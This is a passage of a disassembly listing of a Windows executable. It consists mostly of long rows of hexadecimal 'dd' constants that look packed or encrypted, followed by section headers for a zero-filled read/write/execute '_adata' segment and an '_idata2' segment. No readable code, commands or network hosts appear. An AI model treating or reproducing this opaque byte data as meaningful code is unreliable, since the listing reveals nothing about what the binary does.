3BAA0154h dd 0BFC8513Eh, 8555D4BAh, 26A7C1CBh, 0F4C36E4Ch, 0A55BEC9Eh dd 0D92A8318h, 0A04E8AAEh, 720E8359h, 89B4E687h, 93C4FF6Dh dd 7275DFCFh, 95F7C859h, 73EC6F04h, 2581834h, 0D858A27Fh dd 0F43EA808h, 0A34C218Ch, 3E517B85h, 4A94D411h, 0E51755C7h dd 0AD0EFBD1h, 0BA142AB3h, 5A3412A2h, 8F8BCD86h, 773BDA18h dd 8732D6DAh, 553358C8h, 0A18999D5h, 9B6A7769h, 9B156F1Fh dd 0CF3C30D8h, 0E606BC14h, 0BCFD046Fh, 62CAA5AAh, 0DC4F8F13h dd 89E83F38h, 0C2A869D9h, 143E7CC6h, 588B2920h, 6D64DF38h dd 0FD44A262h, 32B5FD2h, 0E4DC976Fh, 72EC839h, 0D8E8AB42h dd 5CC0AADFh, 9C3D3E13h, 59584049h, 4B3FF4DCh, 0C7303294h dd 56FCCE77h, 0A9EFD52Dh, 0A4DBA616h, 0C133B91h, 0C9F1DA05h dd 0A89CD4CDh, 0DF245D28h, 45DA5CE7h, 0DF2527E4h, 8ADD5D51h dd 698847F2h, 0EFC6D068h, 0F4BEBAB4h, 0A35CAD22h, 73B67BBh dd 2A37EA46h, 0BA004926h, 6B8FE053h, 0E77DFF58h, 0E5C2C899h dd 51EEE428h, 1BFE3BECh, 36C92609h, 28FCCF6Dh, 0C3C5894h dd 5E780B3Dh, 0DF2898B5h, 0ECA5ED51h, 9A1ED6C8h, 0C5F67CD2h dd 336C42C4h, 0E6B356BCh, 0EED8BA36h, 0BCAFC8F3h, 4ABAE383h dd 0DC07A3C6h, 0C299BF86h, 0B70CF8D5h, 2ED16F6Fh, 63374003h dd 4A2D7B06h, 3C423FE5h, 0F154557Dh, 3D9B44EFh, 322BA87Eh dd 0AF5289CAh, 0B7C49F8Fh, 9EAEF39Fh, 416FFB97h, 0FE640EE5h dd 8E56D936h, 879CC8B8h, 2006386Ch, 9D9B4C40h, 0B0545CAFh dd 787B559Fh, 231A9722h, 932B196Eh, 90E36368h, 0B07B06ABh dd 0CABBF78Bh, 954A335Dh, 6EB92FCDh, 6EFC490Dh, 92287422h dd 4E3FA6D4h, 86AE9683h, 0CF3EB426h, 0ACA98B83h, 197DDC1Ah dd 2255400Fh, 0BB26BC8Eh, 2727B5E6h, 96E9770Bh, 4A40D7F9h dd 0EB059D6Fh, 220DC96Fh, 0A5748163h, 0BBFC93F7h, 0EAC1CC53h dd 0DC3BD903h, 227B30A2h, 0AABA6BACh, 894D050Ch, 9C54AFF2h dd 0B5EA108Bh, 89E7E8AFh, 9748D5C7h, 8D798B6Fh, 0A34AD498h dd 220D6C52h, 156D1E75h, 0ED8F48Bh, 0C190A59Bh, 0EFD50CE2h dd 789DC31Bh, 2262D4F8h, 0C8A15474h, 0A186FCFCh, 6C11ED50h dd 0B3736A47h, 8730503Fh, 30C67B3h, 8FC1C332h, 0DEAF7CE4h dd 0F5E28E51h, 0CE940EF8h, 4A5049CCh, 83A3A8Eh, 3BD605F2h dd 0D7145E5Bh, 432B86A6h, 0C1A63B64h, 0C245791h, 636F7C6Ch dd 9FC3BF22h, 7AABD471h, 93457008h, 0E0256DEBh, 0CA6F628Bh dd 83FE6DC8h, 0E7C1117Bh, 9A2563BEh, 0A13EDFF8h, 1202C978h dd 5515BDF9h, 0BC792102h, 0F5456657h, 3E3D393Eh, 1A0C8408h dd 0FED8DE2Eh, 0C5775152h, 3441E172h, 0B5C883F3h, 5B919217h dd 7AB15h, 0CC455E5Fh, 59A34608h, 0E160D961h, 823E12EBh dd 8416117Bh, 0B7E2758Ch, 9AA20A30h, 9B5FA77Bh, 68BB6FB8h dd 0F537215Ch, 0AD5D7C97h, 51002534h, 0DEEDB53h, 0E09DFE49h dd 411E7DB5h, 4E36D755h, 8D1ED28Ah, 0FA236A2Ch, 1E414B8h dd 5B1792BCh, 494DF6BEh, 0BA7DFDFDh, 4FE9B720h, 1894F8D8h dd 75C67C9Ah, 0F4E37DD2h, 4B5C72E2h, 4E649EA4h, 0DABC0381h dd 0CBFF03E6h, 44684A29h, 2A222F82h, 0A2D401A4h, 20CB0C54h dd 0A1EAAE82h, 11BCE103h, 1B11A846h, 0BD774E76h, 41914D9h dd 99313DDEh, 0D6A0A220h, 0F9E67FCFh, 6A642B67h, 5F4DC27Eh dd 0D9E4B4DAh, 710AE5D4h, 0D867AFFEh, 2F2AAF08h, 0FCBD06B2h dd 6E406149h, 14721C5Ah, 775632FCh, 29D9470Fh, 8F020964h dd 6080F984h, 0BAB000CEh, 4027C8BFh, 13CB5D0h, 9DD6CB20h dd 2663415Ch, 0BDA32807h, 857FFBBBh, 643A47B8h, 0B183125Ch dd 0F3D544FAh, 0A614739Eh, 9B17BA28h, 0E022BC61h, 68E2C3FFh dd 757555B5h, 736F9A03h, 34A138D1h, 0A3711A2h, 1CD754D7h dd 7D5984D1h, 438E056Dh, 0E1CFCA2Ch, 24FF52AFh, 13D5353Eh dd 5B9A3689h, 0A9132569h, 0A6CC48C9h, 0E89FA67Bh, 0AAD8C824h dd 289F73C0h, 1640CDD0h, 6BB93E16h, 73C525Ch, 0F6FE53F5h dd 59F8568h, 6AF54224h, 75C2F2B4h, 8D4B1650h, 7A93D8E1h dd 88EED3BBh, 0CFDD725Bh, 4C1DB455h, 524A57D2h, 0D5CA192Ah dd 2F42648h, 661D40E8h, 4B3B9AE3h, 9BC0214Eh, 837C1EA0h dd 54B1BEAAh, 1AD6C3BCh, 6A8D6F05h, 0A8C0FD12h, 0C7685637h dd 870F8DF5h, 28E26357h, 82FD2983h, 76A47BE7h, 0E45F5B6Fh dd 6A000F84h, 7E6D4D2Eh, 4C892CC1h, 0A0808FFAh, 96A349A7h dd 0D92C2E27h, 0D86616A5h, 2EBBF5F3h, 0B09C6332h, 12F4E78Ah dd 544B055Ah, 2DEEAFFDh, 0BB93692Bh, 0B946A783h, 952BC312h dd 67CDBF56h, 22C7F7D3h, 0AC233EC8h, 0C4523E38h, 9AB3A04Bh dd 78651F76h, 0DBBB946h, 0EB043996h, 0CCBD17ADh, 8668F0CFh dd 22CCADFh, 9153AA7Ah, 0F6ABEBCEh, 8D9BF908h, 73749516h dd 0C49F8561h, 39581D9h, 5289CCAEh, 0F34DC6EDh, 4D76BEFFh dd 449B944Fh, 2885A683h, 0E4024BC7h, 0CE42EA0h, 12652797h dd 0AA9E57BAh, 0A4099470h, 94D1D3D5h, 5C5B9B24h, 820A3407h dd 2F91A8B5h, 0F788F05Ah, 49065DF3h, 64B49D9Ch, 0B3F20E2Ah dd 1153F32Fh, 4E238521h, 55B445E6h, 663EB636h, 238E48CCh dd 318FB56Eh, 386C85DBh, 0D51A9C47h, 441F3B6Eh, 120DC303h dd 3B007859h, 0A9B17B4Bh, 0B055387Dh, 0BACA13CBh, 0B049FD33h dd 6713FEDFh, 6C6CC50Eh, 14EA5E6Ah, 0A428D9D5h, 0EB31FD94h dd 0AEBC6E67h, 68795CB9h, 0F40A6C71h, 85CE61A0h, 0B420AC63h dd 0F58A42D9h, 486EEEBh, 0BCDD37A8h, 0D4E59296h, 830A58D1h dd 0E48E58ABh, 92533DB4h, 6EA70520h, 0F345A47Eh, 376E1E02h dd 99140837h, 0FCE0D0B3h, 0D7E55DECh, 8CA6DBCCh, 26848D93h dd 359F0A6Eh, 1D05C880h, 0B826F644h, 9A07CE42h, 0FE1F5A2Bh dd 6C764862h, 3EFEE8C3h, 32E95FCBh, 0A87C11C2h, 0CFE51CD2h dd 99E2AD14h, 1B2CA583h, 61856EBAh, 2A848F83h, 0AEB5379Ch dd 5C49A348h, 2F6CAAFFh dd 9AD5073Bh, 62BA06BDh, 8AC0988Ch, 0D84F76D4h, 0EFFD137Eh dd 0B36471E4h, 836A4126h, 85EC12FAh, 875EA478h, 339EF088h dd 0C59D9575h, 5CE7D3F6h, 0BAAD33A4h, 6DFF7611h, 35289373h dd 2D73389Dh, 0B8C3F231h, 700A147Bh, 96852183h, 59343EDh dd 67E40FFDh, 2E6111B6h, 0C22BB536h, 0D02E7E5Bh, 0F7D10A5h dd 0B6E1FBBBh, 3052E46Ch, 0A39E0A5Bh, 94E14033h, 3A8C95B9h dd 54B9E468h, 0A22C018Eh, 5893B420h, 5459162Ch, 33C51C7Ch dd 17DFDE5Bh, 0BB115D56h, 5202B5Eh, 4940A643h, 0EDC1D47Ah dd 60989C63h, 0D5CEAED8h, 936672CEh, 0DBA14D0Ah, 577DBBCCh dd 0D933C60Bh, 0B0910C92h, 0FFA64718h, 0F673BA88h, 0A837D36Eh dd 1B51ADB7h, 2495AD45h, 9C69DED3h, 9073BBBAh, 97FBA72Ah dd 6E6574BBh, 63D6611Dh, 2AE7C8A5h, 378C0AEFh, 29EC50F5h dd 0C3934E46h, 9968D81Bh, 4635150Ch, 0E65D48F8h, 5D0FE7DDh dd 62E4EBDCh, 755CF6FAh, 3A3C3D0h, 9A12B56Ah, 1D03B944h dd 97B871DBh, 35C72186h, 61C2DD85h, 0F3BB5CBAh, 0C62846FFh dd 0FD25D0F9h, 0F001BAD1h, 97A5A88Ah, 46C16283h, 79CADF36h dd 0DD00337Dh, 1D663799h, 6A4148D3h, 140BEC95h, 8ACBDF9Ch dd 1C115BD7h, 3E502A4Dh, 0CD6CEA86h, 0FA6DE2BAh, 0DF7BE5CAh dd 82CB87F9h, 5F905842h, 41B77FFFh, 29D54341h, 0D6732805h dd 0A37DB21Fh, 4E6E207Bh, 348C6495h, 51CFD860h, 7A0A50F0h dd 0D80811C8h, 2EF0CCFCh, 870FFE6Fh, 3E3F9A34h, 0EC4D729h dd 0F5A330FFh, 704F32E2h, 0A29FE2DBh, 10786131h, 0B9A2425Ah dd 67056DAEh, 37FBE413h, 0D159B318h, 6BEE475Fh, 8230E58Eh dd 0F959DEAEh, 0F76B7B6Ah, 0F476B7E7h, 0ED86847Ch, 14FF61E1h dd 566828A2h, 36AE39D2h, 3E102747h, 36657E45h, 0C4D06477h dd 44BFD2F4h, 0B30AF3B1h, 0BAD2FCA1h, 8BE598BBh, 0FA341957h dd 94266F3Ch, 2B9E9911h, 70D0AE15h, 0D87369E4h, 0AD3FEEF9h dd 0FBA26AAAh, 0AFCB51CBh, 2D252Ch, 0ED478636h, 5AE562C3h dd 6A5870C7h, 0AA9CBB41h, 149ADD2h, 4A3D8ECAh, 2518CFB9h dd 67EC38CFh, 0A1F32ACDh, 23543812h, 0CB1945E5h, 0D0783C6Bh dd 9F2A203h, 325471EEh, 5331C9B7h, 0BA992174h, 18B2EEB7h dd 0D808A262h, 0E9DA47B6h, 0C9436384h, 0BB347546h, 0CA2D00D1h dd 108152DCh, 0A101DF59h, 19A7B107h, 0FEF4F92Ch, 0EFDA1C5Ch dd 1BD7F30Ch, 0A3477F13h, 0D79D332h, 3A81A013h, 23C2A564h dd 0BA257C02h, 0C376B625h, 319F9AF6h, 5DE242CEh, 0F825EADAh dd 4FEC4F26h, 26E68331h, 0EB8BEFB4h, 0EFE2F6C4h, 0BFF317B1h dd 2B959242h, 0E09FDF28h, 296534EDh, 8607D53Fh, 8BDA1B99h dd 69EB7587h, 4870C567h, 7D94304Bh, 1BDEAF15h, 714EDEB7h dd 441DB54Bh, 3493FA4Ch, 977F1BDh, 0F7C32D0Ch, 49AF59E2h dd 45231D5h, 0F132E3D8h, 0D5073A98h, 48F2411Fh, 97D74254h dd 0DA301C13h, 0C67C995Fh, 253A5C50h, 575F01CCh, 0E7BA55F1h dd 0D6FF56B2h, 0ECB1B923h, 9FB2DAA3h, 0BD9B940Ah, 75F4BBD8h dd 8A47121Eh, 65055236h, 77B436E6h, 0A2EBF4E6h, 89719B73h dd 2100B6BBh, 1C83386Fh, 0EDE9A22Bh, 0F2505A44h, 8C0DF17h dd 1429A86Fh, 841554E1h, 5D9B7A3Ah, 2250C1F4h, 0EAA06410h dd 6BD9C089h, 0ADCA00F6h, 0AF6FD6B5h, 0B96B4631h, 0C0412864h dd 0F53418A2h, 5CF61B9Dh, 53E4A002h, 0A31F71C0h, 0C8E0E7EEh dd 0A89EA8CDh, 5E99581Ch, 158268F8h, 909B6116h, 71A93358h dd 0F939CEF5h, 3DBE4C44h, 599BCF44h, 0E93D2AA7h, 0F2B4017Bh dd 48091A73h, 0F5431258h, 0DE477FCh, 2B1AF2C3h, 6B67C37Bh dd 93F76BDBh, 33F4054Ch, 14A0021Fh, 0A03F159Ch, 291709D4h dd 0D1F1E694h, 0B747317Bh, 8683D909h, 9A1C5AFEh, 7DF090D2h dd 1F472D85h, 0E26B8B98h, 9D2EA055h, 0EC1891C7h, 0C29C468Ch dd 0FEE8F782h, 65CE772Bh, 1F5F2C4Ch, 0E38CCB6Eh, 317F6E3Fh dd 0A5E3C3C5h, 8C9FCE6Ah, 8472EAE8h, 0B73D62Ah, 0F8B19E45h dd 9187634Eh, 9E9C8D90h, 5D16BA1Eh, 0D8D1E537h, 0F5D2FD1Ch dd 640CBBF3h, 0B7F0772h, 1E79DE0Dh, 0E5B16873h, 0E7EE8CDFh dd 72B73AA3h, 9C74A53Ch, 46FC858Dh, 41D6C783h, 59DAE82Eh dd 0C05E2823h, 1491BF0Ch, 0E76ADAC5h, 877A5D27h, 83AC2EFEh dd 5ED1A062h, 74FFD9FFh, 77F41F9Eh, 3B31D02h, 0BAE27D8Bh dd 0E5BF5169h, 17B7AF51h, 0C06610CEh, 0FBD8266Bh, 4CD157D6h dd 0DA2CF22Eh, 13463E28h, 65AD5E9Ah, 0A7B3C187h, 3432C1F3h dd 0BCA7BE9Eh, 0F1E6256Fh, 0A4BD13C2h, 756EEA4Eh, 8493F649h dd 2258EB72h, 0A99A8C10h, 7A89EBB3h, 0DBE67559h, 0EF7CCE21h dd 0D686AE32h, 81FB0791h, 6EBDA7D2h, 0F54F2E1Ch, 0F4F96E34h dd 0B4ADBE3Dh, 807F6195h, 6DB7C86Ah, 9427A3D8h, 1F916F48h dd 0ACD974B4h, 0E107974Ch, 8A602F37h, 539AB898h, 72044341h dd 0C0345610h, 299A6B25h, 99489895h, 710FBD5Bh, 826BE35Ch dd 45BCE52Eh, 43DB7234h, 2948209Ch, 576810EDh, 0E643742Ah dd 314A756Bh, 0D1D89F4Bh, 0A6946EFAh, 0DD709FA7h, 0C7A9456Bh dd 788F67F7h, 0C251F5C9h, 8402F25Ah, 0CBB0B230h, 7790FFB2h dd 8B8EF751h, 11C10335h, 0BD2718A3h, 8B8E9AC0h, 0A42965E7h dd 0EF64A929h, 169E771Bh, 8F8D4719h, 41E3EBCFh, 0A66B6150h dd 0F0AF1E6Ch, 9E0049E9h, 0BDB55DC0h, 0BB177D9h, 558CC87Bh dd 0A4DEB75Ah, 6FD0FBECh, 6DC56F71h, 0DA823CA5h, 0B75E5360h dd 0D33507B7h, 6529B117h, 2FEB59E0h, 5597BFC7h, 0BCE1F758h dd 45A81D47h, 73D583Ah, 5A0A0C75h, 5BD33F77h, 2058E4B3h dd 0CD151393h, 0C3CF0D42h, 3A9FA35h, 89515965h, 4969F020h dd 0CDCAF551h, 0E0E22B26h, 3A511E80h, 30193634h, 4BCA0C27h dd 0F36F94FDh, 0D142E275h, 7D1182D3h, 90632D55h, 0FD360DE0h dd 0CA43BF08h, 41F948D3h, 4D6EF88Bh, 0F81C0240h, 6B82A1CDh dd 46F504DFh, 0F562AE9Eh, 0EDE1F1FBh, 5CBBF05Ah, 8140964h dd 3507D9C4h, 0BEF87A40h, 4797E2FBh, 0E2CA4B4h, 0E2480F97h dd 648DE671h, 0F1C0CB1h, 83119C2h, 0DB573BF0h, 0E2C03D16h dd 0BEE5C9D3h, 0BC2B0D41h, 32A5FFCh, 0E112083Dh, 49CC5386h dd 0B7EC02B8h, 0A7D9BB40h, 0D3FBBFBFh, 77D7922Dh, 0EF5A9534h dd 0A3E1DCF4h, 85212E8Ah, 41D8DF2Ch, 2A7609EBh, 7876ED69h dd 4F0B9874h, 1C166007h, 0BA8725F5h, 2EDC17F3h, 0DB534307h dd 0E5E4AC75h, 5DA5E18Eh, 3F71E518h, 4DD3E885h, 0E11D4855h dd 3F5C27BBh, 0C290C244h, 53BE2F5Fh, 0C6FBE82Ah, 5C601417h dd 0C241A126h, 0E5545D73h, 0D38A733h, 0ECD7113Bh, 0A6DB9346h dd 355ED9F0h, 34C889EFh, 0DA487E93h, 0D6EF6C41h, 7A65D039h dd 2CC272BBh, 89171AB5h, 26EBE324h, 2FD9A699h, 79453714h dd 1B719219h, 481D6489h, 7A6C05E7h, 4A7194A0h, 353019CFh dd 40BF4123h, 7F4C1C98h, 0EA3FE815h, 9A984422h, 764A54B1h dd 0ECFF96C4h, 1EBE40BBh, 63FE634Bh, 838DE0B3h, 0D84CBBBFh dd 0DDD18297h, 0B94F7B6Ch, 2054BD13h, 0A48FAA04h, 0D310BC8h dd 7C0A5669h, 0CED5DD4Eh, 0F2E6599Eh, 0A371BEB8h, 4CCBAFB3h dd 0D9F65E19h, 0FAB6CBE5h, 6C8B5F64h, 96BEA8E9h, 1E6629ACh dd 0B352F4C7h, 37A546A5h, 9C6FC020h, 5CB30BACh, 77275AB0h dd 1349C7h, 0AAC38F77h, 404AF538h, 0A99EDB71h, 0AC200DD0h dd 5BAFEC04h, 0FC1E8DE8h, 0BC7D01E0h, 0E2D29142h, 0FE861312h dd 55805728h, 0AC18EB20h dd 221687E8h, 8D204534h, 28FBDEC9h, 75285A9Eh, 5009AFDAh dd 10C4A504h, 8AFF8219h, 4D5FA46Bh, 5AB0161Ch, 51D4AAC2h dd 0AB65DF28h, 0EE2BFA0Ah, 0C83523Ah, 0C52F3A75h, 0F0637685h dd 8FA6699Bh, 0DA1E7811h, 0C896DDB9h, 5786033Eh, 0C49FBD9Fh dd 5CBF9405h, 68E753EFh, 0B31FF7ECh, 7A386513h, 0A51F8CBDh dd 164F123Ah, 629064CAh, 0A512720Dh, 0EFAC1C4Ah, 0F5CC405Ah dd 17570EF0h, 0B04DC205h, 0B886B5B2h, 8E94475Bh, 6C7D2C82h dd 1F34DF4Bh, 31B90B18h, 5CE22CDEh, 0D1B79B19h, 7D4436CCh dd 3A059026h, 816124FCh, 8276323Ch, 17035B2h, 0D8535FCh dd 2E2FBD3Ch, 9152069Bh, 3355ED49h, 4FA90280h, 1DBB708Ah dd 560AEB8Bh, 5CB5C128h, 0EF5F8588h, 0A13A6EA9h, 0D7C8EFDAh dd 4CC0F834h, 4956B73Fh, 8F6E6E01h, 89C96BF4h, 89FDE907h dd 8A21D80h, 0CEE601D9h, 87863AC0h, 66BF7CD4h, 0F8E57633h dd 6ACA34C7h, 66F7B576h, 819CDBFDh, 4A3A757h, 816F97D7h dd 3D37EAABh, 0B0FB4866h, 76DC1386h, 0E142D9B7h, 0B7A808h dd 5F7C57D7h, 0E68A2559h, 0FE765EB2h, 0CFCCF0CFh, 0E2E306EFh dd 0E7ACDBA5h, 0A9838B91h, 494F0897h, 0AC2C543h, 0AD7F80F4h dd 79366E73h, 3FFE9824h, 6662A10Fh, 4F09790Dh, 0F6824Dh dd 59A48A1Ah, 872B9962h, 0D3E4BB1Ah, 2F2279Bh, 4DA9B1Dh dd 25EA9949h, 0AF9C1512h, 0CC62BDAAh, 2050BC8Bh, 0C14E1BBh dd 0B6AA7AA1h, 9FA299D7h, 0F582A6F4h, 0AD2F7F9Bh, 8E58AA26h dd 7E182724h, 0D099BBE9h, 0FE60301Bh, 951D413Ah, 8436EFDBh dd 408C8144h, 0A913BF42h, 6A33884Ch, 6BA081Fh, 22459CBh dd 10409647h, 6E5500BAh, 0A6DD651Bh, 83647FC3h, 0BCD6F4DCh dd 21E72D7h, 33EC0BF4h, 8A8D1FB6h, 0F3A79BECh, 0FA22CB30h dd 0DAB304F4h, 0D8EBB059h, 1CFC9FB2h, 0BB780F25h, 23B8E1D0h dd 6D2D21F4h, 229F3223h, 1B45D117h, 0F234821Ah, 4208A41Bh dd 63C7D416h, 0CF98B7DDh, 7C4B72E0h, 52FC6890h, 76B31F1Eh dd 0E24DDDBFh, 51AC6FD7h, 1554C3CAh, 71D2270Eh, 0CF54890Ah dd 8E1DAA6Dh, 0C442C34Fh, 317FD6BDh, 16614419h, 1E265446h dd 89B9DF46h, 0A0F855E2h, 4E6450E7h, 81945818h, 239D0CC0h dd 0B415C46Eh, 0D332C920h, 0B44C0A66h, 7C94C45h, 591F0CF8h dd 0F11C5BE2h, 409A9E09h, 0C26D374Ah, 4230C754h, 0C35E75A6h dd 0DF73251Eh, 0ABAF44E5h, 0CEDA3B9Eh, 5EFDF5C1h, 0E1D289F1h dd 22F89FC8h, 434DB89Ch, 5D753516h, 0C9089FBAh, 0BD73E640h dd 74F35BCEh, 0B2B9D7E0h, 2F81AC2Dh, 0AC6B6A04h, 24102135h dd 19ABE36h, 52294282h, 8C0F8F1Ah, 9FFAD95Eh, 0AA4E8590h dd 26F1704Bh, 0BC62585Ch, 1B1C4F35h, 0B58CF2EFh, 0B3002127h dd 8FC7B619h, 0A818B2FBh, 4348375Dh, 0EBF52E12h, 0B6FB92CFh dd 0F0CBA3F1h, 4F511C33h, 1A1F327Dh, 0DC183E2h, 5F34FEF0h dd 0B8304DEFh, 89358DE6h, 0CEE25010h, 0EA975A2Fh, 8FF7BEA2h dd 81FC69D9h, 7D06B1C7h, 8D9E4E4Fh, 6CF0282Ch, 9B9FA1ABh dd 9F454213h, 241B50FBh, 1FE4EF5h, 7233FE65h, 60C77EF6h dd 46D3E891h, 2380D54Bh, 4FCF46D7h, 4978A8BDh, 919C4288h dd 42D4C295h, 8331ABB6h, 43292B51h, 0D6A5B625h, 0F2EB7212h dd 5BAE46B7h, 0F1D5E6Eh, 0A31E5FFEh, 0F486ED39h, 434B7AB8h dd 0AF8AF112h, 0DE195DFCh, 4984AE14h, 0A3BC2219h, 8598A2FFh dd 2AC85210h, 51FFFC2Fh, 78855475h, 0CE19CF52h, 0B3379145h dd 0E07BDD1Ch, 0C948A6EDh, 0B6297707h, 3B7263B1h, 14B6DE08h dd 2B8D6926h, 94F62BD6h, 516ED343h, 16526BABh, 2317D99Bh dd 63765653h, 0B161749Ah, 6968B55Ch, 0ABE85ECAh, 9A2A9F6Ch dd 985030EFh, 6A7BA470h, 8B82BBA5h, 45DFA5A0h, 8D54831Dh dd 50353EB6h, 0C83256DDh, 0ED54F04Ah, 0E59431h, 1FFEB93Bh dd 1A434011h, 0F1B427DAh, 0CF72DF0Ch, 0EF841BCDh, 1BC83DB8h dd 0ED20C607h, 7E907514h, 6890FEBEh, 860236E6h, 442891FFh dd 0D9AA9667h, 0DACA07F0h, 28CA28D3h, 9929D70Ch, 0D1AA5E27h dd 4874B4DFh, 4DFBED5Ch, 40724461h, 0DDAACD66h, 0E2F3357Dh dd 75F7C1A8h, 875FEC6Ch, 26767A8h, 39B0D4E4h, 37DE3224h dd 0CA34ED8Dh, 4B75F922h, 54B53E85h, 5D5F9A5Ah, 11E7D027h dd 0F1D56885h, 9BC56D9h, 0F38741A7h, 0EB3D4816h, 92A7534Ah dd 443073E7h, 782545EFh, 672F5907h, 0A9B6875Dh, 2BED5907h dd 38E3CFF5h, 8596084Ah, 3EC8FA05h, 5A79CEE3h, 5E175BC9h dd 546BEA1Eh, 6EE9ACB9h, 0D04E3506h, 1BCC449h, 601A1838h dd 19524C6Fh, 5C729A9Bh, 894709ECh, 19669A3Dh, 8391F933h dd 9076A214h, 0C312337Fh, 9C555DEh, 0EBF283D5h, 0C0275064h dd 38B14240h, 0D02C6854h, 0AB33ED64h, 4AD8AABEh, 12A3B5D4h dd 45E6071Bh, 0CA98DE2Bh, 72CF8703h, 0E284313Ah, 25995F06h dd 0B78EF3Ah, 4E35B6B0h, 35E12BE8h, 0C7620836h, 0BF08D7E6h dd 7F1882B7h, 0C314782h, 63297D33h, 0EDB80CEFh, 41D1A739h dd 548FC6B0h, 11F3B4C2h, 0CD688418h, 638FE721h, 0E65FA407h dd 86917759h, 0D44652A8h, 1A2A2401h, 604C636Fh, 0A5B2D755h dd 0F9D46330h, 3E78AC69h, 52E1B7E9h, 0B2195567h, 690B0EE5h dd 9240C74Dh, 32DA2A10h, 3F40C8F1h, 71A38CBEh, 67D82E6Eh dd 6FD3AC75h, 6DC7F910h, 0A764232Ah, 28AA34FEh, 50556218h dd 200E038Fh, 0B40CCB3Fh, 7EF7E687h, 0BD5AAB7Fh, 8F854F78h dd 9688A2F3h, 0F5DB40B7h, 719479BDh, 8A883DD5h, 0F6633875h dd 6E909205h, 75CEC7EAh, 0BE9FC4FCh, 0B980D7A2h, 0F8CF28E7h dd 2DD921CAh, 0BCFC19EAh, 2629B6D3h, 0EA7FE1FCh, 5DD4049Ch dd 7F510000h, 134FB3F9h, 0FAB23E1Ch, 39B1FAD7h, 749024C3h dd 0C1B2847Dh, 373AD1EBh, 88139646h, 2C7DEC36h, 0F17AE0EEh dd 0FAB5402Bh, 72C4264Ah, 84DD8E07h, 705FB893h, 0A8BB3102h dd 6FBABE46h, 56128C3Eh, 8EC9518Ch, 0F7EF4F33h, 56926337h dd 220185B6h, 0D3C9794Ah, 9FF87A8Ch, 987361Dh, 0C10B658Ch dd 0AA03B3FBh, 96DF255h, 2A62AB6Fh, 18F5908Fh, 169C6EFEh dd 0FCC08FBFh, 0C665B28Dh, 0C2E317AEh, 5B312B4Ch, 583BE757h dd 940EE2Bh, 0C63CE66Eh, 0B5C1B4EDh, 0B6E18772h, 0E900DDC2h dd 44A0F554h, 7A24C6Ch, 256D1EA2h, 0DDFB1004h, 22D87757h dd 856BDB3Dh, 0D333AC22h, 89C85346h, 0C2C50951h, 6CE82333h dd 0C21BBA45h, 6C28E6F6h, 0B052E370h, 0AB0DE7F1h, 738B7FECh dd 93F5A50Ah, 515E0CA0h, 99DB2B58h, 975E16F0h, 481D3D67h dd 90B58104h, 0A15F51F7h, 0C4C9AF96h, 0C4815960h, 94F76F5Dh dd 0F395587Bh, 1E57BDFAh, 0DBF4D21Bh, 6F915A81h, 365F041Eh dd 0CCE2687h, 0B127E604h, 0C7A455C8h, 3373101Bh, 0E528715Dh dd 64905B3Dh, 91FB2B7Bh, 8C4D6019h, 0A47DFBCAh, 0C069BB0Fh dd 0B8FA9547h, 651A2D9Dh, 91F725B6h, 0F1937D5Ah, 0CF8B66A9h dd 19AC397Eh, 0F8C08011h, 2F8D3903h, 0C713BC62h, 0E86DFC4Dh dd 0D6F10346h, 6B64D365h, 955C31E3h, 0A847D7C9h, 8A8536ADh dd 0A9DB4C3h, 0EB8C09C5h, 739A4155h, 824566F4h, 892EEEB5h dd 0E20F652Ch, 5829F75Bh, 0EEBCD397h, 36667699h, 0AE896F42h dd 0C0D31C8h, 7125E04Ah, 0D9E14F04h, 4AC68FA3h, 99A2CA75h dd 0CD59446Bh, 6A79BB30h, 2DAE97CCh, 107A769Ah, 98C63674h dd 0BD326E6Eh, 0F52CF290h, 3448F13Fh, 0E557A468h, 332CB697h dd 1B26DA7Fh, 30D62FA6h dd 0FC665F45h, 6996B578h, 9F6A845Eh, 42F287C4h, 6B14972h dd 0ED988B45h, 0BC9F4C94h, 6F5DECA8h, 0BA448833h, 0E74A8608h dd 300h dup(0) _data ends ; Section 7. (virtual address 00114000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00114000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _adata segment para public 'CODE' use32 assume cs:_adata ;org 514000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 400h dup(0) _adata ends ; Section 8. (virtual address 00115000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00115000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 515000h dd 80h dup(0) dd 0D1h dup(?) db ? byte_515545 db 3 dup(?) ; DATA XREF: seg002:004508CCo align 1000h _idata2 ends end start